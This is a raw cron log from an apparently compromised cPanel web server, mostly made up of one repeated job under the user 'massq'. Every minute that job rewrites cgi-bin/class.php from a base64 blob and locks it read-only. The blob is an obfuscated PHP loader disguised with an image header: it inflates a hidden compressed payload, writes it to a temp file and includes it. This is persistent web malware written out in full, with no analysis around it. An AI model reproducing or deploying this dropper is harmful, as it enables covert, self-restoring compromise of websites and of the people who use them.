Nov 12 22:03:01 server CROND[1974]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:04:01 server CROND[2789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:05:01 server CROND[3745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:05:01 server CROND[3747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:05:01 server CROND[3749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:05:01 server CROND[3748]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 22:06:01 server CROND[4757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:07:01 server CROND[5620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:08:01 server CROND[6401]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:09:01 server CROND[7166]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 22:09:01 server CROND[7167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:10:01 server CROND[8098]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 22:10:01 server CROND[8100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:10:01 server CROND[8101]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:10:01 server CROND[8099]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:11:02 server CROND[9216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:12:01 server CROND[10097]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:12:01 server CROND[10098]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 22:13:01 server CROND[10918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:14:01 server CROND[11852]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 22:15:01 server CROND[12736]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:15:01 server CROND[12737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 22:15:01 server CROND[12738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 22:15:01 server CROND[12739]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
